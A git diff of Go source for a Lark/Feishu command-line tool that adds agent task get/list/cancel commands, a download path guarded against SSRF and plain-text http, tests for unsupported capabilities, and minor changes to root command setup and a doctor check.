||||
return nil, err
|
||||
}
|
||||
return p.DownloadArtifact(opts.Cmd.Context(), opts.TaskID, opts.ArtifactID)
|
||||
}
|
||||
|
||||
// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
|
||||
// its bytes with a download-hardened client. Tests swap it to serve a loopback
|
||||
// httptest server (which the production SSRF guard would otherwise block).
|
||||
var artifactFetch = fetchArtifactURL
|
||||
|
||||
// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
|
||||
// Production wraps the base client with the SSRF-hardened redirect/dial rules;
|
||||
// tests swap it to pass the (interceptable) base client through unchanged so the
|
||||
// request/status/read/limit logic can run against an httpmock transport that the
|
||||
// hardened client's transport clone would otherwise discard.
|
||||
var hardenDownloadClient = func(base *http.Client) *http.Client {
|
||||
return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
|
||||
}
|
||||
|
||||
// NewCmdAgentTask builds the `agent task` command group: query, list and cancel
|
||||
// tasks on a remote agent. It is a pure group with no RunE so an unknown
|
||||
// subcommand is reported rather than silently swallowed.
|
||||
func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "task",
|
||||
Short: "Query / list / cancel a remote agent's tasks",
|
||||
Long: "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentTaskGet(f))
|
||||
cmd.AddCommand(NewCmdAgentTaskList(f))
|
||||
cmd.AddCommand(NewCmdAgentTaskCancel(f))
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskGet builds `agent task get <ref> <task-id>`: fetch a single
|
||||
// task's state and artifacts. `--watch` polls until the task reaches a stop
|
||||
// condition and the terminal state drives the semantic exit code;
|
||||
// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
|
||||
// the backward-compatible default). `--artifact <id>` downloads that artifact
|
||||
// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
|
||||
// and fetched, an inline-bytes artifact is written straight to disk.
|
||||
// Risk=read.
|
||||
func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "get <agent_ref> <task-id>",
|
||||
Short: "Query a single task's state and artifacts",
|
||||
Long: "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.TaskID = args[1]
|
||||
return agentTaskGetRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件(终态 / 需补输入 / 需补鉴权)再打印最终状态")
|
||||
cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长,如 30s;0=无界(阻塞到终态);到点未终止则返回当前状态+续 watch 命令")
|
||||
cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id(须配合 -o 指定落盘路径),不打印任务详情")
|
||||
cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径(仅 --artifact 时使用)")
|
||||
cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件(默认拒绝覆盖,防止误毁本地文件)")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskList builds `agent task list <ref>`: enumerate the agent's
|
||||
// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
|
||||
// meta.count. Risk=read.
|
||||
func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list <agent_ref>",
|
||||
Short: "List a remote agent's tasks",
|
||||
Long: "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentTaskListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskCancel builds `agent task cancel <ref> <task-id>`: cancel
|
||||
// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
|
||||
// an agent that does not support it (task_cancel=false, e.g. example:echo) the
|
||||
// command returns unsupported_capability without contacting the API.
|
||||
// Risk=write.
|
||||
func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "cancel <agent_ref> <task-id>",
|
||||
Short: "Cancel (interrupt) a remote agent's task",
|
||||
Long: "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.TaskID = args[1]
|
||||
return agentTaskCancelRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// addAsFlag registers the identity flag: the real API-identity flag when a
|
||||
// Factory is present, or a bare --as for construction-time unit tests (f nil).
|
||||
func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
|
||||
return
|
||||
}
|
||||
cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
|
||||
}
|
||||
|
||||
// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
|
||||
// -o) runs first so it never touches the network and holds under a nil Factory.
|
||||
// With `--artifact` it downloads the named artifact to -o; otherwise it
|
||||
// fetches the task, optionally polling it to a stop condition under --watch, and
|
||||
// emits the task with the terminal state driving the semantic exit code.
|
||||
func agentTaskGetRun(opts *taskOptions) error {
|
||||
if opts.ArtifactID != "" {
|
||||
if opts.Output == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--artifact 需配合 -o/--output 指定落盘路径").
|
||||
WithParam("--output").
|
||||
WithHint("补充 -o <落盘路径> 后重发")
|
||||
}
|
||||
return downloadArtifact(opts)
|
||||
}
|
||||
|
||||
// --timeout only bounds the --watch poll; without --watch it is meaningless.
|
||||
// Guard it client-side (mirrors the send --task-id/--context-id combo check)
|
||||
// so it never touches the network and holds under a nil Factory.
|
||||
if opts.Timeout > 0 && !opts.Watch {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--timeout 需与 --watch 一起使用").
|
||||
WithParam("--timeout").
|
||||
WithHint("--timeout 需与 --watch 一起使用")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ctx := opts.Cmd.Context()
|
||||
task, err := p.GetTask(ctx, opts.TaskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if opts.Watch && !task.State.ShouldStopPolling() {
|
||||
// A positive --timeout bounds the poll: pollToStop returns the most recent
|
||||
// task with a nil error when the deadline fires (a timeout is an
|
||||
// observation-window close, not a failure), so a long task degrades to
|
||||
// "current state + a fresh watch hint" instead of blocking forever. 0 =
|
||||
// unbounded (the backward-compatible default). pollToStop is unchanged.
|
||||
pollCtx := ctx
|
||||
if opts.Timeout > 0 {
|
||||
var cancel context.CancelFunc
|
||||
pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
|
||||
defer cancel()
|
||||
}
|
||||
final, perr := pollToStop(pollCtx, p, opts.TaskID)
|
||||
if perr != nil {
|
||||
return perr
|
||||
}
|
||||
if final != nil {
|
||||
task = final
|
||||
}
|
||||
}
|
||||
|
||||
// Derive IsTerminal from State (single source of truth) before any consumer
|
||||
// — emitTask's output and semanticExitError below both read the flag.
|
||||
normalizeTask(task)
|
||||
if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
// Under --watch a non-successful terminal state signals exit 1; a
|
||||
// plain get (or a non-terminal stop) is exit 0.
|
||||
if opts.Watch {
|
||||
return semanticExitError(task)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentTaskListRun runs `task list`: resolves the provider, lists tasks
|
||||
// (optionally filtered by --context-id) and emits {tasks:[...]} with meta.count.
|
||||
func agentTaskListRun(opts *taskOptions) error {
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate before the API call: a provider that does not wire
|
||||
// ListTasks (card task_list=false) returns unsupported_capability.
|
||||
if p.ListTasks == nil {
|
||||
return capabilityError(opts.Ref, "task list", iagent.CapTaskList)
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
tasks, err := p.ListTasks(opts.Cmd.Context(), opts.ContextID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tasks = normalizeTaskSummaries(tasks)
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
printTaskSummariesTSV(f.IOStreams.Out, tasks)
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"tasks": tasks},
|
||||
Meta: &output.Meta{Count: len(tasks)},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated before any
|
||||
// network access: it resolves the (statically synthesized) Card for ref and, if
|
||||
// task_cancel is not supported, returns unsupported_capability without a Factory
|
||||
// or API call. Only a supporting provider reaches resolveProvider +
|
||||
// CancelTask.
|
||||
func agentTaskCancelRun(opts *taskOptions) error {
|
||||
// Gate before requiring a Factory / network: resolve with zero Deps and read
|
||||
// the CancelTask capability (a wired field == card task_cancel=true). An agent
|
||||
// that does not support cancel (e.g. example:echo) returns
|
||||
// unsupported_capability with no Factory or API access.
|
||||
probe, err := iagent.Resolve(opts.Ref, iagent.Deps{})
|
||||
if err != nil {
|
||||
return wrapRefResolveError(err)
|
||||
}
|
||||
if probe.CancelTask == nil {
|
||||
return capabilityError(opts.Ref, "task cancel", iagent.CapTaskCancel)
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
// A task_cancel=false agent never reaches here (gated above); it is wired so
|
||||
// a provider that supports cancel is not silently exempt from the
|
||||
// all-or-nothing scope check.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := p.CancelTask(opts.Cmd.Context(), opts.TaskID); err != nil {
|
||||
return err
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
|
||||
// under vfs. A URL-type artifact is SSRF-validated and fetched over a
|
||||
// download-hardened client; an inline-bytes artifact is written directly. The
|
||||
// output path is validated with SafeOutputPath (relative, within the CWD)
|
||||
// before any write.
|
||||
func downloadArtifact(opts *taskOptions) error {
|
||||
safePath, err := validate.SafeOutputPath(opts.Output)
|
||||
if err != nil {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
|
||||
WithParam("--output").WithCause(err)
|
||||
}
|
||||
|
||||
// Overwriting a local file destroys its content irreversibly — a high-risk
|
||||
// write. It goes through the same confirmation contract as other --force
|
||||
// gates (config bind): without --force, a would-be overwrite returns
|
||||
// confirmation_required (exit 10) before any download. Lstat (not Stat) so a
|
||||
// symlink at the path counts as existing rather than being followed.
|
||||
if !opts.Force {
|
||||
if _, statErr := vfs.Lstat(safePath); statErr == nil {
|
||||
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent task get --artifact -o",
|
||||
"目标文件已存在,覆盖会不可逆地毁掉本地内容: %s", safePath).
|
||||
WithHint("确认要覆盖后加 --force 重跑,或换一个 -o 路径")
|
||||
}
|
||||
}
|
||||
|
||||
ctx := opts.Cmd.Context()
|
||||
art, err := resolveDownload(opts)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
data := art.Bytes
|
||||
if art.URL != "" {
|
||||
data, err = artifactFetch(ctx, opts.Factory, art.URL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
if err := vfs.WriteFile(safePath, data, 0o600); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeFileIO, "写产物到 %s 失败: %v", safePath, err).WithCause(err)
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
out := f.IOStreams.Out
|
||||
fmt.Fprintf(out, "artifact_id: %s\n", kvValue(opts.ArtifactID))
|
||||
fmt.Fprintf(out, "path: %s\n", safePath)
|
||||
fmt.Fprintf(out, "bytes: %d\n", len(data))
|
||||
if art.Mime != "" {
|
||||
fmt.Fprintf(out, "mime: %s\n", kvValue(art.Mime))
|
||||
}
|
||||
// suggested_name is the server-suggested name, for reference only; the
|
||||
// actual on-disk path is already the safePath (-o) above.
|
||||
if art.Name != "" {
|
||||
fmt.Fprintf(out, "suggested_name: %s\n", kvValue(art.Name))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: map[string]interface{}{
|
||||
"artifact_id": opts.ArtifactID,
|
||||
"path": safePath,
|
||||
"bytes": len(data),
|
||||
"mime": art.Mime,
|
||||
"suggested_name": art.Name,
|
||||
},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// fetchArtifactURL is the production URL fetch: it SSRF-validates rawURL, builds
|
||||
// a download-hardened HTTP client from the Factory and reads at most
|
||||
// maxArtifactBytes of the body. The artifact host is untrusted external content,
|
||||
// so both the URL and the redirect chain are guarded.
|
||||
func fetchArtifactURL(ctx context.Context, f *cmdutil.Factory, rawURL string) ([]byte, error) {
|
||||
if err := validate.ValidateDownloadSourceURL(ctx, rawURL); err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "被拦截的产物 URL: %v", err).
|
||||
WithCause(err)
|
||||
}
|
||||
// Artifact bytes come from an untrusted host over the network; require https
|
||||
// so the payload cannot be read or tampered with in transit. The SSRF check
|
||||
// above already rejects private/loopback hosts and non-http(s) schemes, so a
|
||||
// surviving non-https URL is plain-text http.
|
||||
if !strings.HasPrefix(strings.ToLower(rawURL), "https://") {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "产物 URL 必须为 https(拒绝明文下载)")
|
||||
}
|
||||
base, err := f.HttpClient()
|
||||
if err != nil {
|
||||
return nil, errs.NewInternalError(errs.SubtypeSDKError, "构造 http client 失败: %v", err).WithCause(err)
|
||||
}
|
||||
client := hardenDownloadClient(base)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
|
||||
if err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的产物 URL: %v", err).WithCause(err)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "下载产物失败: %v", err).WithCause(err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkServer, "下载产物失败: HTTP %d", resp.StatusCode)
|
||||
}
|
||||
data, err := io.ReadAll(io.LimitReader(resp.Body, maxArtifactBytes))
|
||||
if err != nil {
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "读取产物响应失败: %v", err).WithCause(err)
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
1021
cmd/agent/task_test.go
Normal file
1021
cmd/agent/task_test.go
Normal file
File diff suppressed because it is too large
Load Diff
155
cmd/agent/unsupported_test.go
Normal file
155
cmd/agent/unsupported_test.go
Normal file
@@ -0,0 +1,155 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// newUnsupProvider builds a stub *Provider driving the command-layer
|
||||
// capability-gate wirings without any HTTP: ListContexts / DeleteContext are
|
||||
// left UNWIRED (nil), so the command layer's nil-gate must return the typed
|
||||
// unsupported_capability before any network access. GetTask is wired to return a
|
||||
// task whose IsTerminal deliberately mismatches its State (normalizeTask must
|
||||
// re-derive it). Send is wired (core, required by Register) but never called
|
||||
// here. There is no capability-refusal code in the provider — "unsupported" is
|
||||
// expressed purely by the absent fields.
|
||||
func newUnsupProvider() *iagent.Provider {
|
||||
return &iagent.Provider{
|
||||
Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
panic("unsup provider: Send should not be called")
|
||||
},
|
||||
GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
|
||||
// Deliberate mismatch: State is terminal but IsTerminal=false (simulating
|
||||
// a provider that forgot to set it or set it wrong).
|
||||
return &iagent.AgentTask{TaskID: taskID, State: iagent.StateCompleted, IsTerminal: false}, nil
|
||||
},
|
||||
// ListContexts / DeleteContext intentionally unwired ⇒ unsupported.
|
||||
}
|
||||
}
|
||||
|
||||
// registerFakeUnsup registers the fakeunsup scheme exactly once (Register
|
||||
// panics on duplicates). Like the other fakes it leaks into the package-level
|
||||
// registry for the remaining tests of this package run.
|
||||
var registerFakeUnsupOnce sync.Once
|
||||
|
||||
func registerFakeUnsup() {
|
||||
registerFakeUnsupOnce.Do(func() {
|
||||
iagent.Register("fakeunsup", iagent.ProviderInfo{
|
||||
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) { return newUnsupProvider(), nil },
|
||||
Label: "test fake (unwired optional capabilities)",
|
||||
AgentRefFormat: "fakeunsup:<agent_id>",
|
||||
AgentIDSource: "test only",
|
||||
Kind: iagent.KindInstance,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
// assertUnsupportedCapability pins the full capability-gate contract on err:
|
||||
// validation typed, subtype unsupported_capability, exit 2, hint pointing at
|
||||
// `agent card <ref>`, and — because the Factory's httpmock registry has zero
|
||||
// stubs — no HTTP was issued (any network attempt would have surfaced as an
|
||||
// "httpmock: no stub" error instead of the typed one).
|
||||
func assertUnsupportedCapability(t *testing.T, err error, ref string) {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("an unsupported capability should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T (%v)", err, err)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card "+ref) {
|
||||
t.Errorf("hint should point to agent card %s, got %q", ref, p.Hint)
|
||||
}
|
||||
if strings.Contains(err.Error(), "httpmock") {
|
||||
t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextListUnsupportedGated pins the capability gate on `context list`: a
|
||||
// provider that does not wire ListContexts returns typed unsupported_capability
|
||||
// (exit 2) with the agent-card hint, without any HTTP.
|
||||
func TestContextListUnsupportedGated(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &contextOptions{
|
||||
Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
|
||||
}
|
||||
assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
|
||||
// `context delete` path (--yes passes, provider does not wire DeleteContext).
|
||||
func TestContextDeleteUnsupportedGated(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &contextOptions{
|
||||
Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
|
||||
}
|
||||
assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
|
||||
}
|
||||
|
||||
// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
|
||||
// provider returning a State/IsTerminal-mismatched task (completed +
|
||||
// is_terminal=false) must emit is_terminal=true — the command layer derives
|
||||
// the flag from State, the single source of truth.
|
||||
func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
|
||||
registerFakeUnsup()
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
opts := &taskOptions{
|
||||
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
|
||||
}
|
||||
out := f.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentTaskGetRun(opts); err != nil {
|
||||
t.Fatalf("task get should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["state"] != "completed" {
|
||||
t.Fatalf("data.state should be completed, got %v", data["state"])
|
||||
}
|
||||
if data["is_terminal"] != true {
|
||||
t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
|
||||
// (task list / context get share this helper for their nested Tasks).
|
||||
func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
|
||||
ts := normalizeTaskSummaries([]iagent.TaskSummary{
|
||||
{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: false}, // missing
|
||||
{TaskID: "t2", State: iagent.StateWorking, IsTerminal: true}, // wrong
|
||||
})
|
||||
if !ts[0].IsTerminal {
|
||||
t.Error("completed summary should derive is_terminal=true")
|
||||
}
|
||||
if ts[1].IsTerminal {
|
||||
t.Error("working summary should derive is_terminal=false")
|
||||
}
|
||||
if normalizeTask(nil) != nil {
|
||||
t.Error("normalizeTask(nil) should be nil-safe")
|
||||
}
|
||||
}
|
||||
@@ -8,6 +8,8 @@ import (
|
||||
"io"
|
||||
"io/fs"
|
||||
|
||||
_ "github.com/larksuite/cli/agent"
|
||||
"github.com/larksuite/cli/cmd/agent"
|
||||
"github.com/larksuite/cli/cmd/api"
|
||||
"github.com/larksuite/cli/cmd/auth"
|
||||
"github.com/larksuite/cli/cmd/completion"
|
||||
@@ -202,6 +204,7 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
|
||||
rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
|
||||
rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
|
||||
rootCmd.AddCommand(skill.NewCmdSkill(f))
|
||||
rootCmd.AddCommand(agent.NewCmdAgent(f))
|
||||
if !cfg.skipService {
|
||||
if cfg.serviceCatalog != nil {
|
||||
service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
|
||||
@@ -214,6 +217,9 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
|
||||
groupRootCommands(rootCmd)
|
||||
|
||||
installUnknownSubcommandGuard(rootCmd)
|
||||
// Bare `lark-cli` in an interactive terminal offers an interactive upgrade
|
||||
// before printing help; non-bare invocations and non-TTY are unaffected.
|
||||
installRootUpgradePrompt(f, rootCmd)
|
||||
|
||||
if mode := f.ResolveStrictMode(ctx); mode.IsActive() && !cfg.skipStrictMode {
|
||||
pruneForStrictMode(rootCmd, mode)
|
||||
|
||||
@@ -129,7 +129,10 @@ func doctorRun(opts *DoctorOptions) error {
|
||||
if diagnostics.Bot.Available || diagnostics.User.Available {
|
||||
checks = append(checks, pass("identity_ready", "at least one identity is available"))
|
||||
} else {
|
||||
checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", "run: lark-cli auth status --verify"))
|
||||
// No hint: this only summarizes the two checks above, which already carry
|
||||
// the source-appropriate remediation. A command here would be redundant,
|
||||
// or wrong (`auth status` is blocked under an external provider).
|
||||
checks = append(checks, fail("identity_ready", "no usable bot or user identity is available", ""))
|
||||
}
|
||||
|
||||
// ── 4 & 5. Endpoint reachability ──
|
||||
|
||||
@@ -4,14 +4,19 @@
|
||||
package doctor
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
extcred "github.com/larksuite/cli/extension/credential"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/credential"
|
||||
)
|
||||
|
||||
func TestNewCmdDoctor_FlagParsing(t *testing.T) {
|
||||
@@ -140,14 +145,84 @@ func TestDoctorRun_SplitsBotAndMissingUserIdentity(t *testing.T) {
|
||||
}
|
||||
|
||||
func assertCheck(t *testing.T, checks []checkResult, name, status string) {
|
||||
t.Helper()
|
||||
